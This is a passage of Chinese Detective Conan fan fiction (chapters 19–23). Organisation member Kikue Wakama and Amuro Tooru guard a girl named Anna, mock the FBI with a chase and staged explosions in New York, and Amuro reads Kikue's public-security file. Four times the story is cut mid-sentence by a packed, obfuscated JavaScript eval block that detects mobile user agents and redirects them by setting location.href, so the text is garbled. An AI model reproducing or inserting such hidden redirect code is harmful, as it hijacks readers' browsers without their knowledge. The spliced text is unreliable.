安室透不赞同地看着若间菊江,但是也没有反驳,组织的确不适合小孩子生存,独自流浪或许还能活下来,若间菊江话说得很直白,却也没错。 安娜沉默了一会儿,“即使逃走了院长妈妈也会把我抓回去的,FBI也在找我,至少你们不会杀了我。” “你怎么知道不会?”若间菊江语气很恶劣地吓唬小孩。 安娜倔强地与她对视,“如果你想要杀我,昨天晚上就会杀了,不用等到现在。” 年纪看着不大,倒是还挺有勇气的。 若间菊江玩够了,把求助的目光投向安室透,“接下来该怎么办啊,波本?” 安娜也把目光转向他,炯炯有神地看着,她已经意识到了眼前这个叫波本的男人和若间菊江关系不错,他的话可能会影响到自己未来的命运。 被两双大眼睛这么盯着,安室透隐隐感到头痛,“组织交给你的,还能推掉吗?” 若间菊江扁扁嘴,没有反驳。 安娜的眼睛亮了亮。 安室透继续说,“现在最重要的就是解决安娜身上的麻烦,巴特布朗身后的势力肯定会选择灭口,至于FBI……” “他们的态度比较暧昧,最起码不会正大光明地对安娜做什么,但是可以肯定的是,他们会不遗余力地追查到底是谁冒充FBI刺杀了巴特布朗。” 若间菊江:“……” “虽然画面拍不到,但是监控的录音功能是完好的,他们应该可以清楚地听到你进门喊的那句话。” 若间菊江:“…………” “FBI现在估计很生气吧,这简直是对FBI脸面的挑衅了。”安室透轻飘飘地压上最后一根稻草。 若间菊江:“………………” 若间菊江轰然倒塌,哀叹一声趴到桌子上,闷声说,“早知道就不偷懒直接把监控删掉了。” 安室透眼睛里闪过一丝笑意,他提前预料到了现在的情况,但是出于对若间菊江小小的报复心,并没有提醒她。 “所以我们现在会受到两波人的追杀喽?”若间菊江抬起一点脑袋,问。 “不是我们,”安室透喝了一口可乐,慢条斯理地说,“是你,还有你。” 安室透指了指若间菊江,又指了指安娜。 “波本不要抛弃我们啊,你可是个大好人。”若间菊江一把抓住安室透的手真诚地说。 安室透把若间菊江的手指一根一根掰开,把自己的手抽出来,微笑道,“看起来你对我的误解很深啊,现在正好纠正一下错误的观点。” “组织成员里可没有好人。”安室透像是在警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759507|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告,又像是提醒。 若间菊江嘴角向下,刚要说什么,就看到对面的安室透面色一凛,拉起她和安娜就匆匆往外走去。 若间菊江脸色也沉下来,扔下手里的薯条,跟在安室透身后,三个人刚刚混进人群,就看到刚刚他们所在的汉堡店被一群FBI包围了,为首的是一个金色短发戴眼镜的女人,在店内搜寻了一圈无果后,才悻悻离去。 “消息还真灵通。”若间菊江缩在人群里,小声对旁边的安室透说。 安室透耸了耸肩。 还好他们选的这家汉堡店位置不错,在两个狭窄的小路拐角处,车辆难以驶入,这才能让安室透及时发现从隔壁街道匆匆走来的FBI。 安娜躲在大人的阴影里,抬头望着两人,眨了眨眼睛。 等到FBI离开,聚集的人群散去,三人才往酒店走去,安室透头顶的鸭舌帽戴到了若间菊江的头上,盖住了她东亚人种最显著的黑发特征,而安娜和安室透的金发则毫无违和感地融入了美国当地,打眼一看像是一家三口出来散步一样。 “看来他们的行动已经开始了。”安室透说。 “肯定要抓紧嘛,毕竟已经落后那么多了。”若间菊江语气有点嘲讽。 安娜走在两人中间,手腕上绑着安室透刚刚给她买的红色的气球,随着她的脚步一晃一晃的,仿佛真的是无忧无远虑的小女孩。 几条街外,朱蒂回到FBI的车里,摘下眼镜揉了揉额头,自从巴特布朗被杀害后,她一直都没有休息。 旁边的詹姆斯担忧地看着她,“朱蒂,你该好好地睡一觉。” “这种时候我怎么睡得着。”朱蒂拒绝道,语气有些强硬。 巴特布朗的案子原本不在他们小组的管辖范围,但他们得到消息,巴特布朗的死亡背后有黑衣组织的影子,因此在接到眼线消息,称在汉堡店看到疑似巴特布朗案当事人安娜的身影后,她才那么急切地赶过去。 结果还是扑空了。 被行人遮挡住视线那一瞬间的功夫,原本还坐在桌前的目标就已经消失了。 桌上的汉堡还是热乎的,他们刚刚离开不久,但想要重新找起无异于大海捞针。 詹姆斯以为朱蒂会因为这次行动失败而失望,没想到他一抬眼,朱蒂的眼中满是斗志。 “终于让我问到气味了,”朱蒂的嘴角勾起一抹冷笑,“那群躲在暗处的乌鸦。” 也是她必须消灭的敌人。 20.第 20 章 如果说朱蒂印象中的黑衣组织成员是非常神秘,残忍,谨慎的形象,那她看到若间菊江现在的样子一定半夜都会笑醒。 好好一个政党到底是哪找的那么多半吊子杀手啊! 若间菊江看着房间里的满地狼藉,喘着气坐到床边,毫无形象地向后躺去,瘫成一张饼。 在她的不远处,一个壮硕的男子躺在地上生死不明,餐车倒在旁边,散落了一地的碎盘子和刀叉。 刚刚这个冒昧的家伙效仿若间菊江他们的套路,伪装成酒店送餐的工作人员,企图进入房间帮助安娜自杀。 可惜他错估了敌我双方的战斗力,开门仅仅打了一个照面,他就被若间菊江拉进房间踢到了小腹上。 为了避免惊动更多的人,若间菊江没有选择使用手枪,而是更加原始的做法,通过拳头给这些美国人一点东亚女人的震撼。 拳拳到肉的打击感抒发一些若间菊江这几天的郁气,也让这个倒霉杀手面目全非。 这是若间菊江自接手安娜以来,受到的第六波暗杀了,不,说是明杀更合适。 刚开始双方还保有相同的默契,试图通过狙击和伪造车祸来达成灭口的目的,遗憾的是都被若间菊江识破了。 看着安娜坐在冰淇淋店悠闲地吃着冰淇淋球,对方显然沉不住气了。 既然安娜身边有厉害的家伙保护,那他们就选择使用金钱的力量施展人海战术。 从那时起,若间菊江经受了一波又一波菜鸟杀手的挑战。 菜鸟,意味着经验不足,经验不足说明他们没有受到过专业的训练,同样意味着他们没有被传统的暗杀方式束缚住,并不按套路行事,手段层出不穷。 伪装成酒店工作人员的已经是传统派了,新兴派包括但不限于,利用自己改造的带子弹的无人机飞到位于26层的安娜房间窗外射击、在大街上骑着摩托车企图强行绑架安娜、在酒店送的餐里下安眠药尝试智取。 虽然每一项成功率都近乎为0,但若间菊江还是被这些小苍蝇弄得烦不胜烦。 她,组织成员,明明应该做着暗杀别人的工作,现在偏偏整天被这种无厘头的暗杀烦恼,还不能够回国,就因为贝尔摩德说要安娜配合克劳斯议员的政治宣传。 安娜听到外面的声音停了下来,小心翼翼地推开门,绕过地上的瓷片,破烂的椅子和不知道还有没有呼吸的人,走到床边问道,“菊酱,你还好吗?” 自从知道了若间菊江的名字,安娜就抛弃了“柯尔希”这个代号,非要用生硬的日语喊她的名字,还无师自通地学会了更亲密的叫法。 若间菊江摆摆手,“还活着。” 其实还活蹦乱跳的,明眼人都可以看出来床上的这个只是犯懒,地上的那团马赛克才是真的不行了。 安娜的目光落在若间菊江的手背上,咬着下唇,掏出了若间菊江新给她买的手机,打给了安室透,“波本,菊酱受伤了。” 两分钟后,出现在门口的安室透已经可以无视一屋子的混乱,径直走到若间菊江身边,弯下腰问道,“伤得严重吗?” 安娜指了指若间菊江的双手,眼睛里满是关心。 安室透:…… 如果忽略地上那位惨不忍睹、只能勉强保持人形的杀手的话,若间菊江的手的确受伤挺严重,白皙的手背上一片红肿,关节处已经渗出了血丝,这几天青青紫紫的旧伤还没完全恢复,伤痕累累,很能引人怜惜。 但是想要打败和自己体格差距两倍有余的杀手还是要付出代价的。 看得出来若间菊江这几天已经在烦躁到要爆发的边缘了,送上门的沙包正好给她出气。 躺在床上昏昏欲睡的若间菊江听到声音,睁开一只眼睛,“啊啦,波本,你来啦?” “我来看看你‘严重的伤势’。”安室透没好气地说。 若间菊江这下把两只眼睛都睁开了,摆出一副愁眉苦脸的样子,“安娜也没有夸张,其实我刚刚被揍得很惨呢,摔出去的时候后背还砸到了桌子和椅子,超级痛的。” 安娜在一边不住地点头,证明若间菊江没有说谎,她刚刚在房间里隔着门缝偷偷往外看,看到若间菊江受伤的时候恨不得自己上场打败那个大块头,不过若间菊江很快就调整好自己的身形,一个翻身躲过了对方的追击,反身飞踢踢歪了他的脑袋。 这种精彩的片段她要自己好好珍藏在心里,就没必要跟波本讲述了吧。 安室透皱了皱眉,把若间菊江从床上拉起来,示意她跟上,“我的房间里有急救箱,可以简单处理一下伤口。” 若间菊江的目光扫了一圈房间,“那这里怎么办?” “客房服务会处理的,一会儿估计就会通知你换房间了。” 若间菊江眯起眼睛,这家酒店果然是组织的产业,她猜想得没错。 回头得跟琴酒说一声,不能因为员工免费入住就把安保做得这么差,什么人都能混进来,万一客人投诉了怎么办,组织的面子还要不要了? 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765477|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是若间菊江第二次进入安室透的房间,和上次一样,整洁得像是样板间。 安室透把急救箱拿出来,用棉签沾着生理盐水慢慢清理若间菊江手上的伤口,细细麻麻的痛意逐渐弥漫,若间菊江“嘶”了一声,不自禁地缩了缩手。 安室透眼疾手快地握住若间菊江的手腕,阻止了她的动作,“伤口要清理干净了才能上药,处理不当说不定会留下疤痕。” 女生在这方面还是要注意一下。 若间菊江果然变老实了许多,手上一动不动,可嘴上就没有那么多顾忌了,“波本你都不知道他们有多讨厌,像虫子一样一巴掌一个又无穷无尽,不知道什么时候就冒出来叮你一下。” 清凉的药膏敷在手背上,缓解了火辣辣的痛感,让若间菊江的眉毛也舒展开了,说话的语气也很松弛,“真想把安娜挂在自由女神像上吸引所有虫子的目光,然后等他们全部爬过来的时候一起炸掉。” 安室透:这么自由真的合适吗? 安室透的余光瞄了瞄安娜,她正在若间菊江旁边安静地坐着,听到若间菊江的危险发言后表情变都没变过,不知道是相信若间菊江不会把她挂起来还是即使这样也无所谓。 安室透揉了揉眉心,说道,“贝尔摩德刚刚通知我,我们后天就可以回日本了。” 若间菊江睁大眼睛,“她怎么不直接告诉我?” “可能是知道你最近过得水深火热,怕被你谴责吧。”安室透把急救箱收拾好,放回原处,“东西已经安排好了,安娜也会跟我们一起回去。” 被点名的安娜挺直了腰板,很荣幸的样子。 “组织的人会过来接她,她会跟其他成员一起训练,以后成为组织的一员。”在决定卧底的时候,安室透就已经放弃了无意义的怜悯,即使他知道他正在眼睁睁看着一个年轻的生命走向黑暗。 “好吧,”若间菊江的反应平平,她自己都不觉得组织有什么不好,更不会阻止安娜加入。 这么小的女孩子长得有很好看,成长的过程中会遭遇多少恶心的事,若间菊江已经体验过了,在组织里最起码报复的手段也很高效,不用担心后续一系列洗脱罪行的麻烦事。 “既然马上就要走了,那我也可以好好玩玩了吧?”若间菊江一扫刚刚困倦的状态,兴致勃勃的问。 “你想做什么?”安室透有点警惕地反问。 “当然是跟FBI打个招呼,好好发泄一下这几天的憋屈啊。”若间菊江扬起一个笑脸,说道。 21.第 21 章 平心而论,FBI这次并没有给若间菊江添很多麻烦,顶多是加强了对“神秘服务生”的调查,让她的行动有些束手束脚,不能像在国内一样放肆罢了。 这种小问题对若间菊江的影响并不大,但巧就巧在,若间菊江本来就因为半吊子杀手的事情十分憋闷,急需一个突破口,送上门的沙包显然是不够的,既然派杀手来的人和FBI都是美国人,也都和美国政坛有关系,那她找FBI的玩玩也很合理吧? FBI在她这吃了瘪当然就会更加努力地追查巴特布朗的案子出气! 总之若间菊江就这么说服了自己,并成功把安室透和她绑在了一条船上。 “FBI给组织造成过多少麻烦,这次有个机会能够给组织出口气,波本你难道不心动吗?这都不心动,你不会真的是FBI的卧底吧?”若间菊江从循循善诱到出言威胁只花了五秒时间。 她当然不会真的认为安室透有可能是卧底,但是不这么说对方就不会同意加入她的行动,失去了波本,她的计划在实践上就会有极大的困难。 看着若间菊江洋洋得意的表情,安室透的牙有点痒。 他并不排斥加入若间菊江的计划,在组织里,不同国家的卧底甚至会相互出卖以获取组织的信任,更何况若间菊江只是想要给FBI找点麻烦,并不是要炸掉FBI的总部大楼,发泄一下精力也有利于让若间菊江回国后消停一段时间。 但安室透总觉得,就这么轻易地答应若间菊江就好像在什么地方输掉了一样。 算了,安室透自我安慰地想,反正还有两天就要离开美国了,若间菊江想干什么就随她吧。 然后就被若间菊江塞了一张纽约市的地图,看着地图上的红圈,安室透挑眉,“这是?” 若间菊江眯着眼睛笑,“一点小游戏。” 于是FBI当天中午就收到了情报,监控系统筛选出了两个曾经在巴特布朗遇刺时出现过的可疑面孔。 根据当时监控拍下的遮挡住了部分的侧脸进行比对,相似度高达百分之90。 “当时的监控只拍到了一点下巴,这种比对的数据根本没有什么准确性。”一个褐色短发的FBI说道,他并不像为这种缺乏精准的情报白跑一趟。 朱蒂回头瞪了他一眼,“只要是有关组织的一点点线索都不能放过。” 褐发的FBI摸摸鼻子,老实地噤声,看着朱蒂急急忙忙赶往现场的背影,还是跟了上去。 若间菊江此时正盯着贝尔摩德倾情赞助的平凡面孔2.0在街上乱晃,确保每一个摄像头都能清晰地记录下来她的面孔。 上次被安室透提醒后,她就从后台入侵了酒店的监控系统,发现了那个一闪而过的侧影,由此,一个若间菊江个人认证的,充满趣味的计划就诞生了。 她将其称之为“纽约市逃亡计划(圣诞版)”。 余光扫到了FBI的车子加速驶来,若间菊江跳到提前准备好的车子里,一踩油门窜了出去。 其实她还没有美国的驾驶证,不过没关系,执法部门不是正在试图逮捕她嘛。 若间菊江和FBI的车子打了个照面,摇下车窗冲对面的FBI抛了个飞吻,然后在对方还没反应过来的时候把油门踩到低逃之夭夭。 下一次FBI再看见这辆车是在一个小巷里,车的主人已经不知所踪,引擎盖还是温的,证明她还没走多久,耳机里传来总部最新的情报,嫌疑人正在附近一所大型连锁超市里悠闲地挑着马铃薯,仿佛刚刚和FBI的追逐战都是一场幻觉。 推着购物车的若间菊江一边比较手里的两颗马铃薯的大小,一边和耳机里的安室透聊天,“我已经到达第二站了哦,波本你那边怎么样~” “还算可以。”安室透翻过街边的一道矮墙,穿过一条小路,闪身躲进了墙角的阴影里,侧头看着身后追着的FBI从旁边跑过去,脸不红气不喘地说。 若间菊江把手里装模做样挑来挑去的两颗马铃薯都放回摊位上,发现了追上来的FBI,转身往收银台走去,半路上顺手拿了一个货架上的泡泡糖,路过收银台的时候扔了一美元在桌子上,“我这边又被追上了,明明都兵分两路了,怎么还是回合制啊。” 若间菊江把泡泡糖扔进嘴里,弯腰伸腿躲开了扑上来的FBI,又丝滑地融入了人群中。 FBI们徒有手枪,顾忌着商圈里来来往往的普通市民不敢开枪,只能眼睁睁地再一次失去目标。 就这样,若间菊江和安室透一路跑,FBI一路追,兜兜转转绕了大半个纽约,像是逗猫一样,发现FBI没有即时跟上还会在原地逗留一会儿。 车里,FBI的脸色都不好看,他们已经追着嫌疑人一整个下午了,除了疲惫什么也没得到。 “对方简直是在嘲弄我们。”一个FBI的语气愤恨。 能够选上FBI的人都是精英中的精英,他们什么时候受到过犯人这样的挑衅。 安静地坐在后排的朱蒂脸色也不好看,她对着平板电脑沉思,屏幕上是两个嫌疑人所出现的所有位置,突然,她抬手把所有的位置按照时间顺序连接在了一起,很快一个图形就浮出水面。 取得了一些进展,朱蒂的脸色却更不好看了,她把平板放到一边,对驾驶位的卡迈尔说道,“去3号港口。” 卡迈尔被朱蒂的神色吓了一跳,连忙吧最后一口汉堡塞进嘴里,顾不上噎,赶快启动车子前往3号港口。 一边的詹姆斯偷偷往平板上瞄了一眼,只见纽约的地图上,被朱蒂连起来的线围成了半个心形,如果继续往下画去,两条弧线向下延申,就会产生一个交织点,落在地图上的位置就是3号港口,至此,一个完美的心形就完成了。 詹姆斯:…… 虽然很不想相信,但这就是组织成员干出来的事情,花了一下午时间跟他们FBI你追我赶,最后在地图上画了一颗心,也不怪朱蒂认为这是组织成员轻视FBI的表现了。 如果让赤井秀一知道这件事,估计会想要撤回对组织的卧底行为吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773857|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过这也从侧面反映出这次的行为或许是组织成员的自发行为,在正事上,那个邪恶的组织不会允许成员这么胡闹,看起来他们新加入了一名行事颇为大胆的成员,人缘甚至还不错。 詹姆斯的眼镜片一闪,陷入思考。 3号港口的集装箱旁,若间菊江看着眼前的布置,大功告成地拍了拍手,掐着腰欣赏自己的作品。 安室透低头看了眼手机,催促道,“柯尔希,快一点,我们该准备去机场了。” “来了来了。”若间菊江应道,小跑过去。 看不到现场FBI的表情是很可惜,不过光靠想象她就能猜到一定非常精彩。 “多亏了波本你帮我布置炸弹,不然光靠我一个人还真有点忙不过来。” “没关系,等回国后我给你介绍几个其他的组织成员,像这种活动他们一定也很乐于参与。”比如黑麦。 “真的吗?”若间菊江惊喜道,“我就知道就算在组织这种地方同事之间也是有真情的!” 真搞不懂若间菊江到底是对组织的认知到底是清晰还是滤镜太厚。 安室透移开目光,还是没有反驳,拉着若间菊江往机场赶去。 等FBI抵达3号港口的时候,太阳已经全部落山了,夜晚的港口静悄悄的,完全没有白天的喧嚣和繁华。 朱蒂把手枪上膛,带领着FBI的众人谨慎地前进,一有什么风吹草动就迅速瞄准,排除了异常后才继续靠近。 仓库前的空地上,一个大型集装箱孤零零地摆在那里,安安静静的,生怕别人不知道它有问题。 FBI围在集装箱的周围,几人对了对眼神,朱蒂点点头,深吸一口气,踹开了集装箱的门,“不许动!” 迎接她的不是组织成员狡猾的面孔,而是纸礼花飘落的彩带,和礼花筒“砰”的声音重合的是不远处他们开来的车子爆炸的声音。 在场的FBI一惊,回头看去,车子已经在大火里燃烧起来了,随着噼啪的声响,集装箱内部突然亮起来,各色的小彩灯围绕在周围,照亮了集装箱内部的圣诞树,圣诞树下还放着一个礼物盒子。 在场的FBI一时间没人有动作,大家的目光都盯着那个诡异的礼物盒子。 有刚刚的事情作铺垫,没人会觉得盒子里会是什么正常的东西。 朱蒂脸旁的汗水滑落了一滴,落在地上打出一个水点,她把枪收了起来,缓慢地挪过去,将手覆在盒子顶部。 FBI们都屏息凝神,注视着她的动作,在盒子打开的那一瞬,朱蒂感觉眼前好像有什么冲出来了,“撤退!”她条件反射地大喊。 但是盒子里的东西却跟她想像的丝毫不同。 “Jingle bells,jingle bells.Jingle all the way~”一阵欢快的铃声响起,一个小丑鬼脸从盒子里弹了出来,连接着弹簧,前后一晃一晃的。 在鬼脸的下面贴着一张纸条,上面用英文的花体写道,“圣诞快乐!” 22.第 22 章 在布置现场的时候,安室透就对眼前的物品提出了异议,“总觉得像是在过圣诞节。” “我就是按照圣诞节布置的啊。”若间菊江奇怪地看了一眼安室透。 “可是现在离圣诞节还有很久?”安室透看了眼外面的季节,提出疑问。 “辛苦他们跑半天,总得祝福点什么吧,我就想祝他们圣诞节快乐。”若间菊江非常真诚。 安室透:“……好的。”就是希望FBI看到之后不会太生气。 FBI不生气是不可能的。 在欢快的背景音乐中,朱蒂将鬼脸上的纸条揪下来,揉在手心里,双目几乎要喷火了,从牙缝里寄出来几个字,“那个组织……” 他们陪那两个人在纽约跑了一天,最后得到了一个堪称滑稽的结局,这对一直坚持追查的朱蒂来说,可以算是耻辱。 卡迈尔有点担心,上去想要拍拍朱蒂的肩膀,安慰一下她。 手还没落上去,就被朱蒂甩开了,“我不会放过他们的。”说完,她一个人离开了集装箱。 卡迈尔想要挽留,被旁边黑色卷发的黑人FBI阻止了,“让她一个人安静一下吧。” 他们都知道朱蒂对追查组织的事情有多么执着,现在这个场面她一定是最难受的一个。 卡迈尔看着朱蒂的背影,默默叹了口气。 “哈哈哈哈哈哈哈!”飞机上若间菊江想象着那群FBI现在的表情,情不自禁地笑出了声。 本来的爆炸计划在这份圣诞礼物面前都显得不够看了。 唯一一点美中不足的是,她一直在布置圣诞树,没有监督外面安室透设置的炸弹情况,难以预料到会对FBI造成什么样的打击。 不过毕竟是代号成员,这点小事应该难不倒他吧,若间菊江对同事很有信心。 可惜安室透注定要辜负她的信任了。 若间菊江给他的图纸里详细地规划了每一个炸弹都摆放位置,他到实地勘察过后,惊讶地发现这几个点位的确是最有可能造成最大伤亡的位置。 但如果不是必须,安室透并不想伤害FBI。 他们现在没有利益冲突,在这种情况下追查组织的人越多越好。 安室透回头看了一眼在集装箱里一边哼歌一边挂彩灯的若间菊江,将炸弹的位置偷偷偏移了一些。 然后他又急着催对方出发前往机场,让若间菊江没有时间去检查炸弹。 剩下的就看FBI自己了。 重新落地日本后,若间菊江伸了个懒腰,身后跟着安室透和安娜,大步走出机场。 安娜名义上的监护人虽然是若间菊江,但是作为组织培养的对象,她仍然需要被送到特定的地方进行训练。 而若间菊江和安室透就自由多了,只要在下次任务之前随时待命就可以了。 “我送你们去吧。”安室透拿出车钥匙示意。 他的车一直停在机场附近的停车场里。 “那就拜托了。”若间菊江没有任何犹豫,接受了同事的好意。 她那辆二手小车报废以后还没换新的车,从这里打车到组织的基地也不现实,同事的顺风车当然是能上就上了。 安娜到达了一个完全陌生的国家,也是完全听从若间菊江的安排,乖乖地跟在大人身后。 组织的基地毫无意外地被设置在深山老林里。 这里配有训练场,实验室和宿舍,还有专门的老师进行培训,一般组织从各处找来的富有天赋的孩子都会被送到这里。 虽然没有什么责任心,但是若间菊江还是叮嘱了一句,“有什么事情可以联系我。” 安娜点点头,朝两人挥了挥手,就跟着出来接应的成员进基地了。 若间菊江和安室透像两个送孩子上学的新手爸妈,看着安娜的身影消失不见,才回到车子里。 “我现在送你回家?”安室透调整了一下车里的后视镜,看似随意地问了一句。 “不用了,直接送我到米花酒店就好了。”若间菊江打了个哈欠,已经有些困顿了。 一般来说组织成员不会暴露自己居住的地方,安室透刚刚那么问也只是试探一下,见若间菊江这么说也没有纠结,打了转向灯启动车子。 “家里这么久没住人,肯定有很多灰尘,我也懒得收拾,还是住酒店省心。”若间菊江闲聊道,“而且我最近打算换个大点的房子,透君你有没有什么推荐?” “组织成员很少有向别人询问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793075|188151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安全屋推荐的情况。”安室透忍不住说道。 “安全屋?”若间菊江惊讶地睁大眼睛,“我只是想要租一个更舒适的房子而已,还不到安全屋的地步吧?” 很好,柯尔希还是没有一点自知之明,她所干的事情足够公安和FBI全力搜捕的了。 “所以你想要的是?”安室透面无表情地问。 “最好是附近繁华一点的,吃饭买东西都比较方便,交通什么的倒是无所谓啦,我打算重新买一辆车子。”若间菊江认真说道。 这种对话听起来真的会像是普通同事之间发生的,安室透想。 “我会帮你留意一下的。”安室透说道。 “你真是个大好人。”若间菊江感动地说。 “这个评价就不必了。”安室透不知道第多少次婉拒。 把若间菊江送到米花酒店后,安室透谨慎地观察了下前后的车子,左打方向盘离开。 路过一家书店时,他像是突然想起要买些什么,面色自然地停车走了进去。 穿过一排排书架,安室透停在汽车杂志前,拿起一本杂志翻了几页,仿佛里面的内容非常吸引他。 在他隔壁,公安给他安排的下属风见裕也同样拿着一本杂志挡住脸,用只有两个人能听到的声音向安室透汇报他的调查情况。 “若间菊江的名字是真实的,年龄也和降谷先生所说的一致。只是……”风见裕也想起他看到的资料,不知道怎么开口。 从资料上看,若间菊江出现在组织里是一件令人不可思议的事情。 “降谷先生看了就知道了。”风见裕也把装有资料的文件夹在杂志里,放回原处,转头又挑了另一本杂志来看。 这些资料都是公安内部档案里找到的,他只能复制了一份带出来。 不知道是什么情况才会让他这个一向正经的下属难以开口,安室透的心沉了沉。 他选了几本杂志,和风见裕也刚刚放下的杂志一起,准备拿去结账。 走出去了几步,又退了回来。 风见裕也以为安室透还有什么要吩咐的,严肃了表情准备认真记下来,就听见他的上司小声问道。 “你知道有什么适合租房子的地方吗?” 23.第 23 章 风见裕也没有想到上司退回来是为了问这种事情,被问了个措手不及,一时间手忙脚乱,“呃……这个……” 难道降谷先生要换安全屋了吗? “算了,”安室透也意识到自己问错人了,“好好加油吧。” “好的,降谷先生!”风见裕也一个激灵站直身体,如果不是手里还拿着伪装用的杂志,甚至想要对安室透的背影敬礼。 只不过一个晃眼,安室透就已经从他眼前消失了。 降谷先生走得还真是快呢,风见裕也在心中感叹。 安室透拿着那几本杂志径直回到了自己的安全屋。 他进屋后先是检查了一下屋内的摆设,确定没有人在这几天闯入,才坐在桌前打开了杂志中的文件。 安室透深呼一口气,做好了心里准备。 自从风见说他是从公安的内部档案里调出的若间菊江的资料,安室透就明白他的预感还是应验了。 普通人的档案不会收录在公安,除非她有被公安保护的理由。 资料的第一页写着若间菊江的大名,旁边的照片看起来还很青涩,大概是刚入大学的时候拍摄的,女孩子的脸颊清瘦,面对着镜头微笑,是在大学会受到追捧的类型,完全没有现在的影子。 基本信息的下面,写了若间菊江的家庭成员,父亲若间清彦(已故),母亲若间美惠子。 安室透的目光落在若间清彦的名字上,猛然想起他是在哪听到过若间这个姓氏的了。 当时他刚刚入职公安,还没有正式进入组织,曾在一次培训后听见他的上司喃喃自语,“如果若间清彦那个家伙还在的话……” 接触到他有些好奇的目光,上司的语气有些怀念,解释道,“他是一名优秀的公安,成功卧底并捣毁了另一个很有名的犯罪组织,只不过在十几年前的一场意外中殉职了……” “如果他还在的话,我们对组织或许也不会这么棘手了。” 安室透回过神来,心情十分复杂。 若间菊江和他对练是所用的一些招式果然是日本警察在警察学校的时候统一学习的,大概是若间先生还在世的时候教给女儿防身的吧。 安室透把资料往后翻,若间清彦殉职的详细情况属于公安的机密,不能随意带出,所以后面写的都是若间菊江从小到大的经历。 从幼稚园,小学到国中,再到考上大学,虽然经历了父亲去世的打击,但是资料上显示若间菊江一直是一个品学兼优的优等生,深受老师们的喜欢,根本看不出若间菊江如今难搞的性格究竟是怎么养成的。 除了一处略显突兀的记录…… 安室透翻回前面,上面写着在若间清彦去世后四个月,若间美惠子突然非常抵制公安的同事去探望她们母女,并带着年幼的若间菊江搬离了原本住的房子。 公安方面只能尊重若间家的态度,没有再上门拜访,只是暗中多加关注,直到若间菊江大学毕业,几经求职后进入了日本互联网的头部企业。 两个月前若间菊江离职,她的上司大野达夫遭入室抢劫遇害,凶手逃跑时落水身亡。 再然后,就是安室透在组织里见到了若间菊江。 没有任何证据能证明大野达夫的死和若间菊江有关,但安室透总觉得其中有很多不和谐之处。 他合上资料,起身去洗手间洗了把脸,冰凉的水流让他的思绪清晰了些,也让他更难描述出现在的心情。 现在各个方面都能够表明,若间菊江是自愿加入组织的,她甚至还认为这是一份相当不错的工作,先不说她的错误认知是如何产生的,若间菊江现在的态度是不是可以说明她在之前的公司遭遇了许多不好的事? 公安就是这么做事的吗?暗中保护,但让殉职前辈的女儿去犯罪? 水龙头一直开着,哗哗的水流声中,安室透额前的头发还在往下滴水珠,他看着镜子里的自己,表情难看至极。 “咚咚。” 大门突然被敲响,声音一重一轻,那是他们之前约好的暗号。 安室透关上水龙头,随意抹了把脸,调整好表情,从猫眼中观察了门外的情况后,打开了门。 门外是他的幼驯染,也是和他一起在组织卧底的公安,诸伏景光,代号苏格兰。 “莱伊去找他女朋友了,听说你回国了,我过来看看你……” 虽然安室透有意隐瞒,但是诸伏景光和他是一起长大的,一眼就看透了他的不对劲,关心地问,“Zero,你还好吗?” 安室透从厨房端出来两杯水,放到茶几上,对着幼驯染担忧的面孔,犹豫了一下,斟酌道,“Hiro,如果有一天你发现,一个人突然出现在她不应该出现的位置,偏离了所有人给她预设过的可能性,你该怎么做?” 安室透问得很抽象,但诸伏景光还是可以理解幼驯染想要表达的意思,他低眉凝思了一会儿,抬头问道,“你所说的可能性,包含了她自己的意愿吗?” 安室透沉默。 “她如今所处的位置对她来说危险吗?”诸伏景光继续问。 安室透还是难以回答。 危险吗?若间菊江丝毫没有掩饰地顶着前公安的女儿这个名头进入组织,在组织里混得风生水起,贝尔摩德让步,琴酒容忍,上层看重,看起来顺利到不可思议。 但是取得组织这份信任的背后是什么,安室透猜也能猜到,一旦若间菊江的某个行为没有让组织满意,她将面临的是更加严重的信任坍塌。 